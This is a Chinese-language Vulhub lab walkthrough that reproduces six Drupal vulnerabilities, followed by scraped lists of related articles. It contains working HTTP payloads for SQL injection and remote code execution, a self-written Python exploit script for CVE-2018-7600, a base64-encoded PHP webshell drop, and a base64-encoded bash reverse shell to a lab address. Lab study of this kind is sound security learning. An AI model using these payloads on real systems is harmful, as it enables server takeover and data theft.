Vulhub 漏洞学习之:Drupal

1 Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

1.1 环境安装

环境启动后,访问http://your-ip:8080即可看到Drupal的安装页面,使用默认配置安装即可。

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

1.2 漏洞利用过程

  1. 构造如下Payload即可执行恶意SQL语句

    POST /?q=node&destination=node HTTP/1.1
    Host: 192.168.210.13:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
  2. 利用 SQL 错误语句打印当前用户

  3. 将原来id为1的管理,替换成名字为owned,密码是thanks的管理员。

    POST /?q=node&destination=node HTTP/1.1
    Host: 192.168.210.13:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 211 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

    旧管理账号已经无法登录

2 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

影响版本:版本号是 8.x,且版本号低于 8.3.4

参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

2.1 环境安装

2.1.1 安装drupal

  1. 环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。其他根据需要配置

2.1.2 安装yaml扩展

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER

2.2 漏洞利用过程

  1. 登录一个管理员账号

  2. 访问http://your-ip:8080/admin/config/development/configuration/single/import

  3. Configuration type 选择 Simple configurationConfiguration name 任意填写,Paste your configuration here 中填写PoC如下:

    !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

  4. 点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面。

3 Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

影响版本:6/7/8版本

参考链接:Uncovering Drupalgeddon 2 - Check Point Research

3.1 环境安装

  1. 环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

3.2 漏洞利用过程

  1. 漏洞利用exp下载:

    a2u/CVE-2018-7600: Proof-of-Concept for CVE-2018-7600 Drupal SA-CORE-2018-002 (github.com)

  2. 通过构造请求数据包执行命令

    POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
    Host: 192.168.210.13:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

  3. 自己编写的exp

    import requests, argparse
    
    def get_request(target, cmd):
    uri = "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    url = target + uri
    payload = {"form_id": "user_register_form", "_drupal_ajax": 1, "mail[#post_render][]": "exec",
    "mail[#type]": "markup", "mail[#markup]": cmd}
    req = requests.post(url=url, data=payload)
    get_cmd = req.json()[0]["data"].split("<span")[0]
    return get_cmd if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='drupa-CVE-2018-7600-exp')
    parser.add_argument('-t', '--target', type=str, help='http://127.0.0.1:8080')
    parser.add_argument('-c', '--cmd', type=str, help='execute command')
    args = parser.parse_args()
    exec_cmd = get_request(args.target, args.cmd)
    print(exec_cmd)
  4. 上传webshell

    # <?php @eval($_POST['acmd']); ?>
    python .\main.py -t http://192.168.210.13:8080 -c 'echo PD9waHAgQGV2YWwoJF9QT1NUWydhY21kJ10pOyA/Pg== | base64 -d | tee shell.php'

  5. 反弹shell

    # 这样反弹不了,原因是通过exp脚本执行完该命令后,会结束此次进程,连接的会话也因进程的结束而断开
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA==}|{base64,-d}|{bash,-i} # 使用以下命令反弹成功
    # echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA== | base64 -d | bash -i
    python .\main.py -t http://192.168.210.13:8080 -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxMC4xMC8yMzMzIDA+JjEgIA== | base64 -d | bash -i'

4 Drupal 远程代码执行漏洞(CVE-2018-7602)

4.1 环境安装

  • 影响版本:Drupal < 7.58,Drupal < 8.3.9,Drupal < 8.4.6,Drupal < 8.5.1
  • 方式: 此漏洞源于对编号为CVE-2018-7600的漏洞修复不完全,对URL中的#进行编码两次,绕过sanitize()函数过滤,导致补丁被绕过。
  • 效果:任意命令执行

环境启动后,访问http://your-ip:8081/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

4.2 漏洞利用过程

  1. exp下载:pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600 (github.com)

    python cve-2018-7602.py -c "id" drupal Admin123 http://192.168.210.13:8081/

  2. 上传webshell

    # <?php @eval($_POST['acmd']); ?>
    python cve-2018-7602.py -c 'echo PD9waHAgQGV2YWwoJF9QT1NUWydhY21kJ10pOyA/Pg== | base64 -d | tee shell.php' drupal Admin123 http://192.168.210.13:8081/

5 Drupal 远程代码执行漏洞(CVE-2019-6339)

参考链接:Drupal 1-click to RCE 分析 (seebug.org)

参考链接:Drupal 1-click to RCE 分析 (seebug.org)

5.1 环境安装

环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

5.2 漏洞利用过程

  1. 如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。

  2. 上传的文件路径:http://192.168.210.13:8080/sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg

  3. 访问 http://your-iop:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg

    http://192.168.210.13:8080/admin/config/media/file-system
    phar://./sites/default/files/pictures/2022-02/blog-ZDI-CAN-7232-cat.jpg

  4. 保存后将触发该漏洞。如下图所示,触发成功。

6 Drupal XSS漏洞(CVE-2019-6341)

通过文件模块或者子系统上传恶意文件触发XSS漏洞,从而进行JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)

参考链接:Drupal 1-click to RCE 分析

6.1 环境安装

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

6.2 漏洞利用过程

  1. 该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。

  2. Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

  3. 使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。输入如下命令,即可使用PoC构造样本并完成上传功能。

    php blog-poc.php 192.168.210.13
    # 此处端口为8080,需要在blog-poc.php文件中进行修改
  4. 访问图片页面,产生弹窗

    http://192.168.210.13:8080/sites/default/files/pictures/2022-02/_0

  5. Tips:

    1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。

    2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析

Vulhub 漏洞学习之:Drupal的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  4. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  5. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  6. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  7. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  8. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  9. 【转】Vulhub - 开源的安全漏洞学习与复现项目

    转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...

  10. CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

随机推荐

  1. 云小课|云小课教您如何选择Redis实例类型

    阅识风云是华为云信息大咖,擅长将复杂信息多元化呈现,其出品的一张图(云图说).深入浅出的博文(云小课)或短视频(云视厅)总有一款能让您快速上手华为云.更多精彩内容请单击此处. 摘要:购买Redis实例 ...

  2. Kubernetes(K8S) 配置管理-ConfigMap 介绍

    作用:存储不加密数据到 etcd,让 Pod 以变量或者 Volume 挂载到容器中 场景:配置文件 创建配置文件 redis.properties redis.host=127.0.0.1 redi ...

  3. ChatGPT 会开源吗?

    最近,我被一款叫做 ChatGPT 的人工智能(AI)聊天机器人,刷屏了.网上有人说它是搜索引擎杀手,还有人说它将取代程序员... 最后,我还是没扛住铺天盖地的赞美,跑去注册了个账号,抱着调侃&quo ...

  4. Linux 常用命令(持续更新)

    Linux常用命令介绍(备查) *所有的命名都可以用 命令 --help/man 命令 查看使用说明 1.pwd 显示当前路径 2.dir 和 ls用法一样 都是列出当前路径下的文件(不包括隐藏文件) ...

  5. 用 Java?试试国产框架 Solon v1.11.5(带视频)

    一个更现代感的 Java 应用开发框架:更快.更小.更自由.没有 Spring,没有 Servlet,没有 JavaEE:独立的轻量生态.主框架仅 0.1 MB. @Controller public ...

  6. C/C++随堂笔记

    注释:行注释 块注释: (1)#if 0 #endif (2)/*     */ <>:表示系统文件 <stdlib.h>+syetem 调用windows中的程序 QT中 c ...

  7. 解决多次重连rabbitMQ失败

    项目中有用到rabbitMQ,但由于防火墙原因只有在SIT环境下才能连上rabbitMQ,在本地是无法连上rabbitMQ的.如下: 为了不影响调试,临时解决方法为禁止rabbitMQ打印日志.在lo ...

  8. c#5.0(.net 4.5之后)的 Async+await+Task的异步机制的调试笔记

    1.)无返回值的情况(异步也是基于线程). using System; using System.Collections.Generic; using System.Linq; using Syste ...

  9. 【力扣】剑指 Offer II 092. 翻转字符

    题目 解题思路 一个很暴力的想法,在满足单调递增的前提下,使每一位分别取 1 或 0,去看看哪个结果小. 递归函数定义int dp(StringBuilder sb, int ind, int pre ...

  10. CentOS7下配置使用JumpServer 堡垒机 (图文教程)

    前面介绍了如何在<CentOS7下搭建JumpServer 堡垒机>,基于这篇文章的环境搭建过程,接着介绍安装后的的功能配置使用. 首次wbe登录,https://ip:80,默认账号密码 ...